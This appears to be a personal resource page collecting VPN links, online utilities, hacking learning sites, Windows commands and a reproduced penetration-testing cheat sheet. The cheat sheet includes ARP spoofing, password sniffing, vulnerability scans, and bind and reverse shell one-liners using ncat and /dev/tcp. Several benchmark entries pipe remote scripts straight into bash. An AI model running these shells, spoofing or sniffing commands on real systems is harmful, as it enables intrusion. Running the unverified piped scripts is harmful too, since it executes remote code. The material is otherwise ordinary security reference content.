

# ???

- [?????](#)
- [Hacker](#)
- [Online Tools](#)
- [Windows Commands](#)

# ?????

## VPN - WireGuard

- <https://www.wireguard.com/>
- [How to generate WireGuard QR code on Linux for mobile](#)

## Free VPN Service

- [VPN Gate](#)

## P2P VPN

### Cjdns

- <https://github.com/cjdelisle/cjdns>

## Windows Batch Script

- [https://www.tutorialspoint.com/batch\\_script/index.htm](https://www.tutorialspoint.com/batch_script/index.htm)
- <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands>

## Online Tool

- Password Generator: <https://passwrld.in>
- Linux VPS Benchmark
  - <https://bench.monster/>

```
curl -LsO bench.monster/speedtest.sh; bash speedtest.sh
```

```
curl -LsO bench.monster/speedtest.sh; bash speedtest.sh -asia
```
  - [yabs.sh](#)

```
curl -sL yabs.sh | bash
```
  - [bench.sh](#)

```
wget -qO- bench.sh | bash
```
- [Modemly](#) : Find the default password of the routers
- DNS
  - [DNS Check](#)

- [DNSChecker](#)
- Network Troubleshoot
  - [Port Forwarding Tester](#)
  - [Ping.pe](#)

## Embedded System

### Mini Web Server

- [redbean](#) - single-file distributable web server
  - [Redbean in Docker](#)

## SMS API

- <https://textbelt.com/>

# Hacker

## Search Engines

- [Shodan](#) - Search Engine for the Internet of Everything.
- [ZoomEye](#) - Search for the any devices, blockchains, websites, webcams etc.
- [Awesome-Google-Dorks](#)

## Learning Hacker

- [TryHackMe](#)
  - [Video] [TryHackMe! Basic Penetration Testing](#)
- [Hack The Box](#)
- [Hackers-Arise](#) - ??????
  - [?????????](#)
- [Hacking Books](#)
- [The art of Learning Programming for Red teaming and CyberSecurity](#)

## Tools

- [hping](#)

## ?? Root ??

- [LES: Linux privilege escalation auditing tool](#)
- [Part 1](#)
- [Part 2](#)
- [Part 3](#)
- [Part 4](#)

## Commands Cheat Sheets

# Hacking Tools Cheat Sheet

## Basic Linux Networking Tools

### Show IP configuration:

```
# ip a lw
```

### Change IP/MAC address:

```
# ip link set dev eth0 down
```

```
# macchanger -m 23:05:13:37:42:21 eth0
```

```
# ip link set dev eth0 up
```

### Static IP address configuration:

```
# ip addr add 10.5.23.42/24 dev eth0
```

### DNS lookup:

```
# dig compass-security.com
```

### Reverse DNS lookup:

```
# dig -x 10.5.23.42
```

## Information Gathering

### Find owner/contact of domain or IP address:

```
# whois compass-security.com
```

### Get nameservers and test for DNS zone transfer:

```
# dig example.com ns
```

```
# dig example.com axfr @n1.example.com
```

### Get hostnames from CT logs:

```
% compass-security.com on https://crt.sh.
```

### Or using an nmap script:

```
# nmap -sn -Pn compass-security.com
```

```
--script hostmap-crtsh
```

### Combine various sources for subdomain

#### enum:

```
# amass enum -src -brute -min-forrecursive
```

```
2 -d compass-security.com
```

## TCP Tools

### Listen on TCP port:

```
# ncat -l -p 1337
```

### Connect to TCP port:

```
# ncat 10.5.23.42 1337
```

## TLS Tools

### Create self-signed certificate:

```
# openssl req -x509 -newkey rsa:2048
```

```
-keyout key.pem -out cert.pem -nodes
```

```
-subj "/CN=example.org/"
```

### Start TLS Server:

```
# ncat --ssl -l -p 1337 --ssl-cert
```

```
cert.pem --ssl-key key.pem
```

### Connect to TLS service:

```
# ncat --ssl 10.5.23.42 1337
```

### Connect to TLS service using openssl:

```
# openssl s_client -connect
```

```
10.5.23.42:1337
```

### Show certificate details:

```
# openssl s_client -connect
```

```
10.5.23.42:1337 | openssl x509 -text
```

### Test TLS server certificate and ciphers:

```
# sslyze --regular 10.5.23.42:443
```

### TCP to TLS proxy:

```
# socat TCP-LISTEN:2305,fork,reuseaddr
```

```
ssl:example.com:443
```

### Online TLS tests:

- [ssllabs.com](https://ssllabs.com), [hardenize.com](https://hardenize.com)

## HTTP Tools

### Start Python webserver on port 2305:

```
# python3 -m http.server 2305
```

### Perform HTTP Request:

```
# curl http://10.5.23.42:2305/?foo=bar
```

### Useful curl options:

- -k: Accept untrusted certificates
- -d "foo=bar": HTTP POST data
- -H: "Foo: Bar": HTTP header
- -I: Perform HEAD request
- -L: Follow redirects
- -o foobar.html: Write output file
- --proxy http://127.0.0.1:8080: Set proxy

### Scan for common files/applications/configs:

```
# nikto -host https://example.net
```

### Enumerate common directory-/filenames:

```
# gobuster dir -k -u
```

```
https://example.net -w
```

```
/usr/share/wordlists/dirb/common.txt
```

## Sniffing

### ARP spoofing:

```
# arpspoof -t 10.5.23.42 10.5.23.1
```

### Or a graphical tool:

```
# ettercap -G
```

### Show ARP cache:

```
# ip neigh
```

### Delete ARP cache:

```
# ip neigh flush all
```

### Sniff traffic:

```
# tcpdump [options] [filters]
```

### Useful tcpdump options:

- -i interface: Interface or any for all
- -n: Disable name and port resolution
- -A: Print in ASCII
- -XX: Print in hex and ASCII
- -w file: Write output PCAP file
- -r file: Read PCAP file

### Useful tcpdump filters:

- not arp: No ARP packets
- port ftp or port 23: Only port 21 or 23
- host 10.5.23.31: Only from/to host
- net 10.5.23.0/24: Only from/to hosts in network

Advanced sniffing using tshark or Wireshark.

### Sniffing over SSH on a remote host:

```
# ssh 10.5.23.42 tcpdump -w- port not
```

```
ssh | wireshark -k -i -
```

### Search in network traffic:

```
# ngrep -i password
```

### Show HTTP GET requests:

```
# urlsnarf
```

### Show transmitted images:

```
# driftnet
```

## Network Scanning

### ARP Scan:

```
# nmap -n -sn -PR 10.5.23.0/24
```

### Reverse DNS lookup of IP range:

```
# nmap -sL 10.5.23.0/24
```

### Nmap host discovery (ARP, ICMP, SYN 443/tcp

#### ACK 80/tcp):

```
# nmap -sn -n 10.5.23.0/24
```

### TCP scan (SYN scan = half-open scan):

```
# nmap -Pn -n -sS -p
```

```
22,25,80,443,8080 10.5.23.0/24
```

### List Nmap scripts:

```
# ls /usr/share/nmap/scripts
```

### Scan for EternalBlue vulnerable hosts:

```
# nmap -n -Pn -p 443 --script smbvuln
```

```
ms17-010 10.5.23.0/24
```

### Scan for vulnerabilities (script category filter):

```
# nmap -n -Pn --script "vuln and safe"
```

```
10.5.23.0/24
```

### Performance Tuning (1 SYN packet ≈ 60 bytes

→ 20'000 packets/s ≈ 10 Mbps):

```
# nmap -n -Pn --min-rate 20000
```

```
10.5.23.0/24
```

### Useful nmap options:

- -n: Disable name and port resolution
- -PR: ARP host discovery
- -Pn: Disable host discovery
- -sn: Disable port scan (host discovery only)
- -sS/-sT/-sU: SYN/TCP connect/UDP scan
- --top-ports 50: Scan 50 top ports
- -iL file: Host input file
- -oA file: Write output files (3 types)
- -sC: Script scan (default scripts)
- --script <file/category>: Specific scripts
- -sV: Version detection
- -6: IPv6 scan

The target can be specified using CIDR notation

(10.5.23.0/24) or range definitions (10.13-37.5.1-23).

### Fast scan using masscan:

```
# masscan -p80,8000-8100 --rate 20000
```

```
10.0.0.0/8
```

### Public internet scan databases:

- [shodan.io](https://shodan.io), [censys.io](https://censys.io)

## Shells

### Start bind shell (on victim):

```
# ncat -l -p 2305 -e "/bin/bash -i"
```

### Connect to bind shell (on attacker):

```
# ncat 10.5.23.42 2305
```

### Listen for reverse shell (on attacker):

```
# ncat -l -p 23
```

### Start reverse shell (on victim):

```
# ncat -e "/bin/bash -i" 10.5.23.5 23
```

### Start reverse shell with bash only (on victim):

```
# bash -i &>/dev/tcp/10.5.23.5/42 0>&1
```

### Upgrade to pseudo terminal:

```
# python -c 'import pty;
```

```
pty.spawn("/bin/bash")'
```

# Online Tools

## Password

- Password Generator: <https://passwrld.in>
- [Modemly](#) : Find the default password of the routers

## Linux VPS Benchmark

- <https://bench.monster/>  
`curl -LsO bench.monster/speedtest.sh; bash speedtest.sh`  
`curl -LsO bench.monster/speedtest.sh; bash speedtest.sh -asia`
- [yabs.sh](#)  
`curl -sL yabs.sh | bash`
- [bench.sh](#)  
`wget -qO- bench.sh | bash`
- [bench.y.pw](#)  
`wget -qO- bench.y.pw | sh`
- [news.sh](#)  
`curl -sL nws.sh | bash`  
`wget -qO- nws.sh | bash`

## Network Troubleshoot

- [Port Forwarding Tester](#)
- [Ping.pe](#)
- [CanYouSeeMe.org](#)
- [Globalping](#)
- [IPinfo.io](#)

## IP Reputation (IP ??)

???????????????????????????????? IP ?????????????????????????????

- Cisco: [Talos](#)
- Google: [Google Postmaster Tools](#)
- [Sender Score](#)

- [IPQuality](#) - Shell ?????? Public IP ???????????

## World Time

- [Time.is](#)

## ASCII Art Text

- [Multiline ASCII Text Art Converter - ??????????.??? \(texteditor.com\)](#)
- [Text to ASCII: The best ASCII Art Generator & Maker](#)
- [ASCII Art?AA?????????????ASCII Art?AA? | RAKKOTOOLS?](#)

??

- [Copy.sh](#) - ????? x86 ????????
- [Turndown](#) - Convert HTML into Markdown with JavaScript.

# Windows Commands

1. ipconfig
2. ipconfig /all
3. findstr
4. ipconfig /release
5. ipconfig /renew
6. ipconfig /displaydns
7. clip
8. ipconfig /flushdns
9. nslookup
10. cls
11. getmac /v
12. powercfg /energy
13. powercfg /batteryreport
14. assoc
15. chkdsk /f
16. chkdsk /r
17. sfc /scannow
18. DISM /Online /Cleanup /CheckHealth
19. DISM /Online /Cleanup /ScanHealth
20. DISM /Online /Cleanup /RestoreHealth
21. tasklist
22. taskkill
23. netsh wlan show wlanreport
24. netsh interface show interface
25. netsh interface ip show address | findstr "IP Address"
26. netsh interface ip show dnsservers
27. netsh advfirewall set allprofiles state off
28. netsh advfirewall set allprofiles state on
29. ping
30. ping -t
31. tracert
32. tracert -d
33. netstat
34. netstat -af
35. netstat -o
36. netstat -e -t 5
37. route print
38. route add
39. route delete
40. shutdown /r /fw /f /t 0